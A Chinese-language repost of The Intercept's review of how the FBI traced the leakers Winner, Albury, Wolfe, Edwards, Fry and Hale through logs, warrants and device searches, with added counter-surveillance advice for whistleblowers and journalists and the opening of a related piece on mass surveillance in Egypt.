
intercept 是为了专门发布斯诺登文件而创立的出版物，此后一直在公开披露符合公共利益的各种来源的秘密政府文件，也一直是特朗普政府对透明度革命的战争中具有吸引力的目标，这并不奇怪。

在这里看到斯诺登文件汇总版《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》。

政府参与这场战争，如“间谍法”这样的法律已经很成熟，可以各种滥用，并且拥有压倒性的监视技术火力，当应用于政府自己的工作人员和承包商时，几乎没有任何限制。

但记者也可以使用各种工具来抵御，包括第一修正案，并提供教育，🌤普及政府用来跟踪和监视的各种方法，以学习反监视反侦察的能力。

Intercept 已经对特朗普政府司法部提交的所有七起泄密案件中的法院文件进行了审查，以确定了政府用来抓捕说真话者的方法。

⚠这些政权常用的抓捕方法对于反侦察的行动者来说至关重要！

当透明度革命萌芽于政府部门内部时，联邦调查局可以获取大量的数据 —— ⚠这些数据准确描述了政府计算机上发生的一切事、以及谁在政府数据库中搜索了什么，这有助于缩小嫌疑人名单。

有多少人访问过这个文件？多少人打印过它？他们的任何工作电子邮件都可以用来起诉他们吗？可以从他们的工作计算机中提取哪些证据？

一旦FBI根据政府自己收集的大量数据列出了嫌疑人名单，他们就会使用法院命令和搜查令来获取有关其调查目标的更多信息。

⚠他们迫使技术公司（这些公司的商业模式通常依赖于收集尽可能多的用户信息）来交付所有内容，包括个人电子邮件、短信、电话元数据、智能手机数据备份、位置数据、存储在 **Dropbox** 中的文件等等 **……** 以及更多。

⚠联邦调查局特工袭击了说真话的人的家、搜查了这些人的车子，从他们找到的任何手机、电脑和硬盘驱动器中提取任何东西。

⚠有时，还包括说真话的人认为自己已经删除了的文件（实际上并没

有彻底删除）、或通过 **Signal** 或 **WhatsApp** 等加密消息服务发送的文本消息和文档。

这些应用程序使用的加密技术可以使消息在通过互联网传输的过程中受到保护，这些服务本身也无法监视内容或将其移交给政府，但是，⚠如果手机和电子设备被当局抢走，任何加密都会失败。

这就是 Facebook 琢磨出来的能打死一切加密的方法 —— 瞄准设备本身，见《Facebook 给了全球当权者一个终极暴政蓝图》。

由于这些说真话的人真的不是间谍，所以他们通常不知道该如何避免这种监视……

⚠前中央情报局和国家安全局承包商 Edward Snowden 是最了解政府监视能力的人，就连他也并没有找到任何方式能够在将政府秘密公之于众的同时保留自己的匿名性。

“我感谢你对我的安全的关注”，斯诺登在一封加密的电子邮件中写道，这封邮件是通过匿名地址发送的，使用的是 Tor 网络，在2013年春天写给电影制片人 Laura Poitras，信中写道：“我已经知道这将如何结束，我接受风险。”

在纪录片“第四公民”中，斯诺登解释说，他在接触记者时采取的安全措施只是为了给自己足够的时间来获取有关美国国家安全局对全球公众的大量侵犯隐私的证据。

“只要时间充裕，当局能找到一切。我不认为有任何方法能保持我的安全匿名，”他在香港的一个酒店房间里说，然后他决定主动公开自己的身份。

> ⚠如果我们想要生活在一个所有人在看到不公时都能大声说出来的世界里，我们就需要那种能够保护每个人隐私的技术，并且需要默认启用它⚠

要让人们有机会说出真相，让说出真相的人也能平安地活下去。

2017年在特朗普成为总统后，他的司法部发出了第一份针对透明度革命勇士的起诉书，其中司法部根据“间谍法案”指控 Reality Leigh Winner 将一份绝密的国家安全局文件泄露给了新闻机构 The Intercept。

当时，Winner 是一位25岁的美国空军退伍军人，也是一位专注于缓

解气候危机的 CrossFit 教练。

根据法庭文件，Winner 是仅有的六个能接触到该机密文件的人之一，她打印了她被指控泄露的文件（⚠法庭显示她于2017年5月9日进行了搜索、访问并打印了该文件）。

在搜查了所有六名员工的工作计算机后，当局发现 Winner 是唯一一个与发布该文档的新闻机构有电子邮件联系的人。（⚠她使用的是私人 Gmail 帐户，足见有多么不安全）

联邦调查局特工随后搜查了她的家，并在没有律师在场的情况下对她进行了讯问，并没有告知她有权保持沉默，侵犯了她的米兰达权利。

⚠在她家里，当局的特工找到了关于如何使用一次性电话号码和 Tor 浏览器的手写笔记。（可怜的人，她真的对保密技术一无所知）

⚠当局还抢走了她的 Android 智能手机和她的笔记本电脑，从两台设备中提取了证据。

⚠联邦调查局还命令多家科技巨头公司从 Winner 的账户中提取信息。

!Facebook 提供了 Winner 的 Facebook 和 Instagram 帐户的数据，谷歌提供了 Winner 使用的两个独立 Gmail 帐户的数据，Twitter 提供了 Winner 帐户的数据，AT＆T 也在此做出了“贡献”。

并不确切知道这些公司都提供了多少数据，但可以知道他们被要求披露与 **Winner** 账户相关的所有信息，包括：

- 用户名，电子邮件地址，实际地址，电话号码和信用卡号
- 每次登录时的历史记录，持续时间以及IP地址（**!**在这里看到历史记录有多危险《浏览历史记录曝光你的内心全景图》）
- 还有关于这些服务所涉及的每个通信实例的元数据，包括通信类型、来源和目的地，以及通信的文件大小、持续时间（**!**在这里看到元数据的威力《无处可藏的数字足迹》以及抵御方法《都是工具》）

FBI 还要求与 Winner 的 Facebook、Instagram、Google、Twitter 和 AT＆T 帐户相关联的所有记录 —— ⚠请注意这是使用相同的电子邮件地址创建的帐户、从同一 **IP** 地址访问、或从同一 **Web** 浏览器登录的帐户。

❗此处强调了分身对于安全的重要性，具体操作方法详见《分裂人格的魅力》。

如果用户没能采取额外步骤保持匿名，则服务提供商可以轻松链接从同一台计算机访问的不同帐户。

详见《Opsec 操作安全：在反侦察的过程中您应该注意哪些陷阱？》，以及解决方案《无法匿名的数据指纹—— 我可以如何避免被识别？》

FBI 还从 **Winner** 的手机中提取了所有内容：

- 她的照片，包括 2017 年2月7日拍摄的一张网页照片，其中列出了由不同媒体机构运营的八台 SecureDrop 服务器。
- 从她的智能手机应用程序中提取的数据，⚠例如 Facebook 应用程序，其中包含她与姐姐交换的私人消息，这些私人信息后来都被用于针对她的打击。
- 她的手机浏览器历史记录：3月7日，她访问了一个网站，⚠其中包含“暗网电子邮件提供商”列表，并在谷歌上搜索了“tor email”关键字。
- 5月9日，“大约下午7:29:49（美东时间）”，Winner 搜索并查看了她被指控泄露的 NSA 文件的新闻媒体的页面，以及第二个新闻媒体的页面; 那天晚上，⚠她登录了她的 Dropbox 帐户，三分钟后，她再次查看了第一个媒体组织的页面。

这就是我们在“完美隐身”系列中强调的：❗如果您不能熟练使用全套匿名技术，切勿使用互联网搜索任何有关自己的东西。

更多《互联网曾经是一种武器，现在依旧是武器》

因此 FBI 获得了发给 Dropbox 的搜查令，要求交出存储在 Winner 帐户中的所有文件和其他信息，以及 —— ⚠请注意！“任何已经被本人删除但仍可供 **Dropbox** 公司使用的消息、记录、文件、日志或信息” —— **Dropbox** 给了 **FBI** 一个包含所有这些数据的拇指驱动器。

⚠任何所谓的云 —— 任何 —— 都不能信任，这是常识，更多见《大型“云”供应商时代的审查制度：集中化毁掉互联网自由》。流行语是非常可怕的。

⚠FBI 还获得了向 Google 发出的搜查令，要求几乎所有存储在 Winner 帐户中的内容，包括：

- Gmail 帐户中的所有邮件 —— **!**不要使用Gmail，见《Google 产品的替代品—完整列表》
- 她的全部谷歌搜索历史记录 —— **!**所谓的“隐身模式”是骗局，根本不会保护你，你需要做的是：Tor，此外《反侦察：除技术之外你还应该注意诸多重要的细节问题》
- 她的位置历史记录 —— **!**即便关闭了“位置历史记录”设置，谷歌仍然可以记录你的位置，应对办法《可以采取哪些措施来阻止 Google 和其他人跟踪您的手机？》
- 可以基于Web浏览器 cookie 识别的所有活动（这可能包括她访问过的使用 Google Analytics 服务的任何网页的列表） —— **!** 数据指纹问题，这里有解决方案《侦查和反侦查工具：带来更多安全和便捷的10大浏览器扩展》，以及全套装备《安全手册》
- 还有她的安卓手机备份 —— **!**基本应对方法《如何保持 Android 设备免受警察的侵害》

FBI 获悉了一个新的、单独的谷歌帐户，他们怀疑是 Winner 使用的，这是以前没有人知道的账户。搜查令也要求提供该帐户的其他数据。

谷歌向 FBI 提供了关于 Winner 的两个谷歌账户的全部数据，超过 **809mb**（压缩后）。

FBI 还从 Winner 的笔记本电脑中直接提取数据。当局发现她在2017年2月1日下载了 Tor 浏览器，并在2月和3月使用过它 —— ⚠请注意使用 **Tor** 浏览器并不违法！但是，有可能在当局眼中是“重大”嫌疑，对于举报人 **Joshua Schulte** 当局能拿出的唯一“证据”就是他使用了 **Tor**。

所以，**!**有经验的人应该注意保持所有电子设备的*干净*，也就是定期做《大清洗》；此外，切勿在行动之前才下载使用这些安全工具，它们应该是您日常的上网习惯，而不是应急灯。

FBI 还发现了一个保存在她桌面上的 note，其中包含一个名为 VFEmail 的小型电子邮件公司的用户名和密码，因此，这些政府特工还获得了另一个搜索令，要求提供 VFEmail 帐户中所有内容的副本。

⚠此处提醒：尽可能用纸笔记录重要内容是对的，但是，必须及时销毁所有记录 —— 烧掉它们，不要简单地手撕或者粗糙的碎纸机。

Winner 被判有罪，并被判处五年有期徒刑，这是联邦法院对新闻爆

料人判处的最长刑期。

根据法庭文件，在 Terry Albury 在联邦调查局长达16年的反恐职业生涯期间，他“经常在单位内部观察到或经历过种族歧视和偏见”。

作为明尼阿波利斯办事处唯一一位黑人联邦调查局特工，他对该局内部的“系统性偏见”感到特别不安，特别是在联邦调查局虐待线人时。

2018年，司法部对 Albury 提起了所谓的“间谍活动”诉讼，声称他向一家新闻机构泄露秘密文件。

据报道，The Intercept 于2017年初发布了一系列基于FBI内部机密的披露，其中包括有关该情报机构秘密调查少数民族公民、和监视记者的诸多恶劣行为，其证据被认为来自 Terry Albury。

尽管联邦调查局不知道文件是否在分享之前已经被打印过，但是要跟踪是谁访问过这些文件，并不难。

⚠联邦调查局确定了有16人访问过媒体组织在其网站上发布的27份文件之一。

当局搜查了所有这些人使用的16台工作电脑，包括 Albury 的电脑，并发现他也获得了“超过三分之二”的公开文件。

根据法庭文件，⚠FBI 把从 Albury 的计算机上挖到的各种活动都作为对他指控的证据：他访问了哪些文件以及何时访问的、何时拍摄了屏幕截图、何时将这些屏幕截图复制并粘贴到文档中、以及何时打印出来……

例如，数据显示，2016年5月10日下午12:34 ~ 下午12:50之间，Albury 访问了两份机密文件。

记录还显示，十九分钟后，他将两张截图粘贴到未保存的 Microsoft Word 文档中，在接下来的45分钟内，他将11个截图陆续粘贴到未保存的 Excel 文档中。

一整天，他访问了更多政府秘密文档，将更多屏幕截图粘贴到 Excel 文档中。

在下午**5**：**29**，他把所有这些打印了出来，然后关闭了文件而不保存。

并且，不仅仅是他的工作计算机受到了监视；**FBI** 通过在他工作场所安装的诸多闭路视频监控系统，拍摄到了 **Albury** 的视频。

在2017年6月16日、8月23日和8月24日，监视系统记录了 Albury 拿着银色的数码相机，插入了“看似数字记忆棒的东西”，并拍摄了他的屏幕照片。

法院文件说，在这三天里，Albury 都在他的电脑屏幕上查看文件。

“（FBI 使用的虐待和间谍行为）这是人权问题”，法庭文件显示 Albury 的妻子要求轻判。

40岁的 Albury 认罪了，被判处四年监禁和三年监外察看。

像 Signal 和 WhatsApp 这样的通信服务，理论上可以使记者能够通过端对端加密技术安全地与他们的消息来源进行通信，这样只有对话双方的电话才能访问信息，服务本身也无法访问。

⚠当使用 Skype 和 Slack 等非加密消息传递服务、Twitter 和 Facebook 上的直接私信服务、或普通文本短信和电话时，非常不安全。

更多见：

- 一个缓解方案《🔐 如何在不必暴露真实电话号码的情况下使用 Signal》
- 加密的危机《关于幽灵用户和开裆裤》
- 防卫的思考方式《移除你的绵羊墙：给普通人的5个防御课程》
- 技术问题《Whatsapp, Slack, Skype 等应用程序更容易被构建后门》
- 《是否需要备份以及该如何安全地备份 WhatsApp？》
- 《如果您必需使用 WhatsApp：这里是减少伤害的办法》
- 《肉眼看不见的入侵：政府间谍工具就隐藏在正版 WhatsApp 和 Skype 中》

但是，⚠当手机遭遇物理搜查、并且用户尚未删除其消息历史记录时，加密服务不会保护你。

这在2018年6月7日已经非常清楚了，当时司法部起诉前参议院情报委员会助理 James Wolfe 向 FBI 作出虚假陈述。

在这里看到当局如何监视以取证的完整故事《特朗普政府对媒体的战

争不同于奥巴马时代，它已变得更加阴暗》。

根据法庭文件，Wolfe 告诉联邦调查局，他没有与记者联系过。

⚠但是对 Wolfe 的起诉中引用了他与记者通过加密通信 **Signal** 进行对话的内容。

?起诉书没有提到 FBI 是如何获得这些加密消息的，但唯一合理的结论是，间谍在搜查他的电话时发现了这些消息。

除了获得他的 Signal 消息之外，FBI 还搜索了 Wolfe 的工作电子邮件，并找到了他与记者通信的消息。

由此，联邦调查局知道了他与记者的会面、以及会面发生的地点。

⚠当局挖到了 Wolfe 与记者交换过的数百条短信、与他交谈的记者是谁、以及发生在什么时间。

在同一调查期间，司法部向谷歌和 Verizon 发出法院命令，要求查获属于纽约时报国家安全记者 Ali Watkins 的多年来的电话和电子邮件记录，后者之前曾为 BuzzFeed News 和 Politico 工作过。

联邦调查局正在调查 Watkins 的一篇 BuzzFeed 文章的消息来源，该文章的内容是关于一名俄罗斯间谍试图招募特朗普顾问卡特佩奇。

⚠被查获的记录甚至一直追溯到 Watkins 的大学时光。这是特朗普政府打击记者所做的第一例案件。

Wolfe 承认向调查人员说谎关于与媒体有联系，并因此被判处两个月监禁、和7,500美元的罚款。

更多：《如果你的手机/电脑被当局没收了，再换回来，应该怎么办》

⚠即使没有物理搜查电话，**FBI** 也可以获取实时元数据，该元数据显示是谁向谁发送了消息，以及何时发送的，通过至少一个加密的消息传递应用程序。

这种情况发生在 Natalie Mayflower Sours Edwards 身上，她是财政部金融犯罪执法网络（FinCEN）的高级官员。

在2018年底，司法部起诉 Edwards 涉嫌将机密消息提供给了一名记

者，据报道这名记者是 BuzzFeed News 的 Jason Leopold，详细介绍了涉及共和党成员的可疑金融交易、特朗普竞选团队的高级成员，以及与克里姆林宫有联系的俄罗斯特工和俄罗斯寡头。

根据法庭文件，**FBI** 为 **Edwards** 的私人手机获得了“被授权的”监视跟踪。

这是一项法院命令，⚠允许 FBI 使用一系列技术从手机收集各种类型的通信元数据 —— 例如，命令第三方移交此元数据、甚至可以使用黄貂鱼欺骗手机连接。在下面看到解决方案：

- 《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？》
- 这种监视技术还升级了，并且美国具体帮助中国构建了它，见《IBM和谷歌如何通过中国协助独裁政权的间谍行为？》

使用此法院命令，FBI 显然能够从 Edwards 手机上的加密消息应用程序中收集到实时的元数据。

例如元数据记录显示，在2018年8月1日上午12:33，上述法院命令“开始生效”后的6小时、以及 BuzzFeed News 发布其中一篇报道后的第二天，Edwards 据称与记者交换了**70**条加密消息。

第二天，在 BuzzFeed News 发布另一个报道的前一周，Edwards 据称与记者交换了**541**条加密信息。

⚠法庭文件中没有写明 FBI 监视的消息传递应用程序是哪个，并且不清楚政府如何获得的元数据。

Signal 的创始人 Moxie Marlinspike 表示，他的应用程序对此不负责。

“Signal 被设计为保护隐私，并尽可能少地收集信息，” Marlinspike 告诉 The Intercept。

“除了每条消息的端到端加密外，所有用户的联系人、他们所在的群组、任何群组的标题或头像、甚至用户的个人资料名称或头像的任何记录，Signal 都不读取”；“甚至GIF搜索都受到保护。大多数时候，Signal 的新 Sealed Sender 技术意味着我们甚至不知道谁是消息传递者。连第三方数据我们都几乎无法提供”。

WhatsApp 的一位发言人表示，他们不能对个别案件发表评论，并指出其有关回应执法要求的常见问题部分。

⚠该文件指出 **WhatsApp** “可以收集、使用、保存和共享用户信息，如果我们真诚地相信”有必要“”回应执法程序或政府要求的话”。

显然，WhatsApp 很不安全。

⚠请注意，根据 Facebook 的透明度报告，其中包括对 WhatsApp 用户数据的请求，在2018年下半年，当针对 Edwards 手机的监视开始运作时，Facebook 收到了4,904个“Pen Register / Trap & Trace”请求的回应，其中要求提供的数据波及 **6,193** 位用户，并且，**Facebook** 回复了其中**92**%的数据请求！

!这就是为什么使用 Facebook 以及属于该公司的所有应用都非常危险 —— 并不在于您本人“做了什么”，您的所有联系人（包括联系人的联系人）中如果有任何一个人被当局怀疑，都会波及到您。

Apple 在此也一样。

Apple 发言人拒绝发表评论，但和 Facebook 一样引用了其法律程序指南中有关 Apple 可以向执法部门提供的与 **iMessage** 相关的数据类型的部分。

该指南称：“iMessage 通信是端到端加密的，Apple 在设备之间传输时无法解密 iMessage 数据，Apple 无法拦截 iMessage 通信，Apple 也没有 iMessage 通信日志。”

但是，⚠**Apple** 确实拥有 **“iMessage** 性能查询日志**”**，这足够表明一个用户的 **Apple** 设备上的应用程序已开始向另一个用户的 **iMessage** 帐户发送消息。

该指南写道：“iMessage 性能查询日志最多可保留30天；并可以通过 18 U.S.C. §2703(d) 或具有同等法律标准的法院命令或搜查令获得。”

联邦调查局还命令 Edwards 的个人手机运营商交出她的电话记录；FBI 还对她的一位同事做了同样的事，后者被称为“同谋”。

联邦调查局获得了 Edwards 的个人电子邮件帐户搜查令（大部分可能是 Gmail），⚠□并从中获取了她的“互联网搜索历史”记录 —— 她被指控在文章发布后搜索了所谓的泄漏消息相关的多篇文章。

联邦调查局获得了搜查令以实际搜查她的全部，并查获了一个USB闪存驱动器，以及她的个人手机。

根据刑事诉讼，该闪存驱动器中包含24,000个文件，其中包括数千个描述政府可疑金融交易的文件。

⚠FBI 还从 Edwards 的电话中直接提取了消息应用程序数据，也就是说，这些间谍可以直接阅读她据称与记者交换的消息内容。

Edwards 面临长达**10**年的监禁。她已经拒绝认罪。

政府工作人员通常能够使用他们登录和搜索的内部数据库访问受限的文件，包括由国防承包商 Palantir 等私营公司运营的数据库。

⚠这些数据库跟踪每个用户的行为：他们搜索的术语、他们点击的文间、他们下载到计算机的文件……

美国国税局官员 John Fry 可以访问多个执法数据库，包括 Palantir 运营的数据库，以及 FinCEN 的数据库 —— 后者就是 Edwards 被指控泄漏可疑活动报告所在的数据库。

今年2月，司法部起诉 Fry 据称提供了有关涉及特朗普前律师 Michael Cohen 与著名律师 Michael Avenatti 的可疑金融交易的详细信息，还有至少一名记者、纽约客的 Ronan Farrow。

在其中一次交易中，也就是在2016年大选前不久，Cohen 向一位成年电影女演员支付了130,000美元的封口费，以换取她所说的与特朗普的婚外情故事保持沉默。

据法庭文件显示，在2018年5月4日下午2:54，国税局官员 Fry 据称在 Palantir 数据库中搜索了与 Cohen 有关的信息，并下载了5份可疑活动报告。

同一天，Fry 据称对 FinCEN 数据库中的特定文件进行了多次搜索。

⚠FBI从他的个人手机运营商那里获得了 Fry 的电话记录。在下载了与 Cohen 有关的可疑活动报告后，Fry 据称打电话给那位著名律师 Avenatti。

这些监视数据还显示，⚠此后他又打电话给记者，并通话42分钟。

FBI 随后获得了 Fry 手机的搜查令。据报道，在2018年5月12日至6月8日期间，⚠Fry 与记者交换了**57**条 **WhatsApp** 消息。

监视数据显示，该报道发表后，他发了一条短信，其中写道，“写得

非常好”。⚠记者的手机号码据称就在 **Fry** 的手机联系人名单中。

黑体字是严重的教训！

Fry 面对五年的监禁。他拒绝认罪。

Daniel Hale 在2009年加入军队之前在意识形态上一直反对战争，当时他21岁，但他觉得他别无选择。

“我无家可归，我很绝望，我无处可去。对于我来说这是最后一站了，空军准备接受我，“ 他在 “National Bird“ 中说道，这是一部关于曝光无人机作战内幕的举报人的纪录片，**2016** 年出版。

在这里看到 **Hale** 的故事，以及这部纪录片在线版《继续杀死透明度革命—— 当局如何得知**Tor**使用者的身份？》

在接下来的五年里，Hale 一直在为国家安全局阿富汗联合特种作战特遣部队的无人机计划工作，并作为国家地理空间情报局的国防承包商。他的工作包括帮助确定被暗杀的目标。

穿插一些关于暗杀计划的揭露：

- 《暗杀计划》
- 《走进暗杀之城》
- 《中东君主制如何雇佣美国战士以杀死其政敌?—这大概就是战争未来的样子》
- 《“任何目标，随时随地”：解密文件曝光NSA突击部队的监视行动》
- 《雄厚的财力，深藏不露：美国间谍如何协助专制国家构建一个间谍帝国》
- 《刺杀名单》
- 《秘密行动》

Hale 也是一个直言不讳的活动家。

“我参与无人机行动的最令人不安的事就是，我担心自己参与杀戮或捕获的任何人中包括平民，这是不确定的，” 他在那部纪录片中说，“没有办法知道。”

今年5月，司法部指控 Hale 因涉嫌泄漏与无人机战争有关的机密文件、并向特朗普政府官员确认为 The Intercept 的新闻机构提供了信息，被视为进行“间谍活动”；Intercept 于2015年发布了一系列有关

该事件的最详细报道 —— 美国政府的暗杀计划。

“在5月9日开封的起诉书中，政府声称美国无人机计划的文件被泄露给了新闻机构”，Intercept 总编辑 Betsy Reed 在关于 Hale 起诉的声明中表示。

“这些文件详细说明了政府如何通过无人机袭击瞄准和杀害世界各地的人民，包括美国公民，一切秘密的和不负责任的程序。这些信息具有至关重要的公共利益，与其披露相关的活动理应受到第一修正案的保护。

⚠**!**“但是，但是！说出真相的人面临长达**50**年的监禁！而在这些无人机杀戮中，没有任何人因杀害平民而被追究责任 **……**

2014年8月8日，数十名联邦调查局特工突袭了 Hale 的家，手持枪支，搜查了他的电脑和闪存盘。

这一切都发生在奥巴马政府期间，当时奥巴马政府拒绝提出指控。但是五年后，特朗普政府的司法部重新审理此案。

⚠根据法庭文件，政府间谍可以看到 **Hale** 据称在他使用的不同计算机中输入的确切搜索词，一个用于非机密工作，另一个用于机密工作，以及何时进行的任何搜索。

⚠用来攻击他的所谓证据包括 Hale 据称发给他的朋友的短信，以及他据称与媒体机构已经确定为 The Intercept 的记者 Jeremy Scahill 进行的文本和电子邮件对话。

⚠当局描述了 Hale 的电话元数据。当局声称 Hale 参加了书店的一个活动，就坐在记者旁边。所有这些事都发生在 Hale 据称向媒体发送任何文件之前。

根据起诉书，在2013年9月至2014年2月期间，Hale 和记者 “通过 Jabber 进行了至少三次加密通话⚠”，这是一种在线聊天服务。

目前还不清楚政府在哪里获得的这些信息；可能是来自大规模的互联网监控、Jabber 聊天服务提供商、或者直接是对 Hale 的计算机进行的物理分析。

正如 Winner 和 Albury 的情况一样，⚠FBI 确切地知道 Hale 打印了哪些文件以及何时打印的。

据称，Hale 打印了32份文件，其中至少17份后来被新闻机构“全部或部分”发布。

当联邦调查局袭击 Hale 的居所时，据称特工在他的计算机上发现了一份未分类的文件，以及一份 **Hale** “试图删除”的**USB**记录文件。

⚠当局还发现了另一个包含 **Tails** 的 **USB** 记忆棒，这是一个旨在保持数据和互联网活动私密和匿名的操作系统，可以通过USB记忆棒启动，尽管 FBI 似乎没有从中收集任何数据。

在这里看到我们曾经对 Tails 的介绍和推荐《追求正义的人应该加强反侦技巧!—— 洋葱头会让谁流泪（二）》，以及：

- 《如何安全地留住证据：给真相的记录者一些技术技巧建议》
- 《当你手握真相：最基本的防护知识(1)》
- 《公民取证技巧：如何留住真相？》

政府间谍在 Hale 的手机联系人薄中找到了记者的电话号码。

⚠现年32岁的 Hale 面临最高**50**年的监禁。他已经拒绝认罪。

想要说真话，并不容易。不同的人面临着截然不同的风险。

如果您在 Google、Facebook 或 Goldman Sachs 等公司工作，您的工作设备可能会受到严格审查，但您的个人设备仍然无法直接被雇主的监控（⚠只要您不依赖这些寡头公司控制的任何服务与记者沟通）。

一些政府内部消息来源可能有办法访问秘密文件，其披露符合公共利益，不涉及生成带有时间戳的日志条目不会将其用户名与该访问权限相关联。

⚠越来越清楚的是，用于起诉举报人的主要证据来自于他们与媒体联系之前发生的事，甚至在他们决定行动之前发生的事。

但是，记者做出充分准备尽可能保护他们的消息来源仍然是至关重要的，如果说真话的人请求帮助，记者应该尽力而为。

⚠这包括运行像 **SecureDrop** 这样的系统，它为说真话的人提供了安全的和无元数据的通信方式，并最大限度地减少了设备上残留的联系人痕迹。

⚠记者还应采取措施，通过始终使用加密的消息应用程序、而不是不

安全的短信，并始终使用阅后即焚功能，以减少科技公司可以访问的信息量。

⚠记者还应鼓励消息来源不要将记者的联系方式添加到手机联系人薄中，因为这些联系人薄可能会被同步到 **Google** 或 **Apple** 的服务器。

⚠验证文件真实性的新闻过程 —— 也就是开源情报分析工程 —— 也会给匿名来源带来风险，但是，这一过程对于确定材料有没有被伪造或改变、以及保持可信度，至关重要。

但是，美国规定记者在发布报道*之前*需要主动拿给政府相关部门审查，以确定哪些内容政府愿意或不愿意公开。

⚠这个过程不仅将杀死几乎所有真相的披露，并且，会令说真话的人和记者，都陷入严重的危险。

在这里看到：

- 《“纽约时报”承认，在稿件发布之前它会主动接受政府的审查》
- 书刊也一样《出版前审查》
- 《电子邮件被曝光：揭示记者主动接受情报部门的审查，这究竟是为什么？》
- 针对媒体的攻击《美国黑客团队和阿联酋间谍合作计划攻击报道斯诺登文件的媒体机构 TheIntercept》
- 以及《被监视噤声的作家：大数据时代的自我审查》

新闻机构还需要就发布内容做出艰难的决定。

有时，如果可以通过描述文档的内容来报道、并且可以掩盖消息来源时，媒体可能会决定不发布原始文档，这样更安全。

然而，这些方法虽然能保护消息来源，但也同时降低了对读者的透明度，也限制了报道的影响力，这对记者和举报人来说都很重要。

⚠在所谓的“假新闻”标签被用来诋毁任何严肃的调查性新闻的时代里，只有原始的文件可以作为反驳这些指控的有力证据。

加密消息应用程序在保证在线对话方面取得了重大进展，但是，在保护消息来源方面仍存在重大问题。

其中许多这类应用程序，包括 WhatsApp 和 Signal，都鼓励用户将他

们发送消息的联系人的电话号码添加到联系人列表中；⚠但这些数据通常都会同步到云端，**WhatsApp** 甚至鼓励用户将他们通信历史记录备份到云端。

!这非常危险。尽管拥有 WhatsApp 的 Facebook 无法访问这些备份消息的内容，但谷歌和苹果仍然可以访问。

⚠端到端加密只能保护消息从一部电话传输到另一部电话的过程，但是，通信各方的每部电话仍然拥有所有这些消息的纯文本副本，这使得它们很容易受到当局物理搜查的攻击。

阅后即焚是一个很好的开始，但它们仍然需要进行改进。

用户应该可以选择自动让所有聊天记录消失，而不必记住每次开始对话时设置消失的消息，并且应该询问用户是否需要在首次设置应用时启用此消息。

尤其是，⚠当对话中的所有消息都消失时，与该人进行对话的所有取证跟踪也应该消失。

同样，在保护元数据方面也还有许多工作要做。

💡Signal 的“sealed sender”功能可以加密 Signal 服务可访问的大部分元数据，比任何其他流行的消息传递应用程序都要强大，但它仍然不完美。

消息传递应用程序需要重新设计其服务，以便他们无法访问有关其用户的任何元数据，包括IP地址。

只有当消息服务本身也无法访问*任何*元数据时，才能保证数据不会泄漏给**FBI** 这类间谍组织。

默认情况下，Web 浏览器会保留您访问过的每个网页的详细历史记录。

这就是监视资本主义的盈利模式。他们不会在此做出任何改变 —— ⚠这就是为什么每个人都应该自己保护好自己。

本报告中的几乎所有超链接都应该给您带来帮助。

目前，Tor浏览器是保护用户隐私的最佳选择。只要操作方面不要出错 —— 人始终是最大的 bugs，而非技术。

但是，不幸的是，仅仅在计算机上安装 Tor 浏览器或其他隐私专用工具，就可以作为所谓的证据攻击说真话的人。

这就是 Mozilla 计划将 Tor 直接集成到 Firefox 中作为“超级私密浏览”模式的原因之一。

将来，希望说真话的人可以简单地直接使用 **Firefox** 内置的功能来获得相同级别的保护，而不是去下载 **Tor** 浏览器。

最后，Gmail、Microsoft Outlook、Google Drive、iCloud、Facebook 和 Dropbox ……等等 ⚠这些寡头公司的服务彻底不应该使用；如果您怀疑这点，推荐重温完整版报告《互联网霸主的时间线》。

⚠⚠再一次强调：这是血淋淋的教训！本报告中涉及的几乎所有超链接都应该是警报器 —— 因为中国当局也是使用这些方法抓捕任何他们想要的人的。已经有太多人因此被扔进了监狱！⚠⚠

说出真相是有史以来最重要的反霸权斗争 —— 每一位加入这场战斗的人都应该获得最充分的保护。

我们要所有人都活着；活着享受你们亲手争取到的自由。○

THE METADATA TRAP吴淦的判决书段落

○□

原文

全球大规模监视的崛起：我们是如何走到这一步田地的？ - iyouport

你应该了解的现实关于高堡奇人维稳面面观

【2020年6月3日存档】传统的窃听官僚如今已被算法驱动的面部识别技术所取代。但是，大规模监控的真正影响并不在表层，而是在每个人的心里 ……

如今，所有人生活在一个这样的世界中：学校用摄像机监控孩子们的情绪，各个国家都在收集所有公民的DNA，而没有任何数字通信是真正私密的。

作为求生的欲望，人们安装了加密的聊天应用程序，在抗议中戴上口罩以对抗面部识别技术，并努力在网上隐藏自己的个人身份信息。

欢迎来到大规模监视的新现实。但问题是，我们是如何走到这一步的？

关于大规模监视的历史：

- 《 监视之恶（一）你可能还没完全理解奥威尔》
- 《监视之恶（二）公私监控伙伴关系》
- 《监视之恶（三）历史和现实，拆穿谎言》
- 《监视之恶（四）“反恐”歧途》
- 《监视之恶（五）数据指控》
- 《监视之恶（六）破解荒唐的狡辩（上）》
- 《监视之恶（六）立法监管不可能，应该怎么办（下）》

埃及记者兼技术专家 Wael Eskandar 记得自己2011年在开罗的解放广场（Tahrir Square）上记录了该国的革命。

他记得当时人们已经知道自己的手机正在受到监视，停车场服务员和保安员等工人一直在搜集所有信息并反馈给警察 —— 群众斗群众。请注意这是**2011**年，**9**年前。

但是在当时，还很少有人以相同的方式监视 Twitter 和 Facebook 上的信息和帖子 —— 至少不是像现在这样大规模的。

- 这是如今的状况《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》
- 防御方法《社交媒体情报和反情报基本工具手册：自我人肉（2）》

那场革命推翻了长期独裁者胡斯尼·穆巴拉克（Hosni Mubarak）的残酷政权，但到了 2014 年，该国已受到同等镇压强度的新总统阿卜杜勒·法塔赫·西西（Abdel Fattah el-Sisi）的统治。

- 在这里看到Sisi 政权的真面目《西方政府如何助长了数十年来最严重的人权危机》

现在，埃及人因在 Facebook 上发表的政治帖子而被捕，一些人报告说，他们在拘留期间被警察重读了他们曾经发布的文字（和中国完全一样）。

该国的示威活动几乎完全停止了。

到了2019年，埃及确实发生了抵抗政府腐败的罕见的抗议活动。示威者学会了如何避免在社交媒体上发布有关行动的任何信息，但是最终，依旧有数十人被围捕。

“好像我们已经没有空间说任何话了，”今年早些时候参加示威游行的一名妇女告诉我。

在过去的十年中，全球绝大多数国家越来越多地采用大规模监视技术，而不仅是埃及。

在很久以前，人类监视者不得不被动窃听每一个电话，而如今，功能日益完善的语音识别软件可以一次性大规模地做到这一点，而算法会自动扫描社交媒体消息中是否有任何异议。

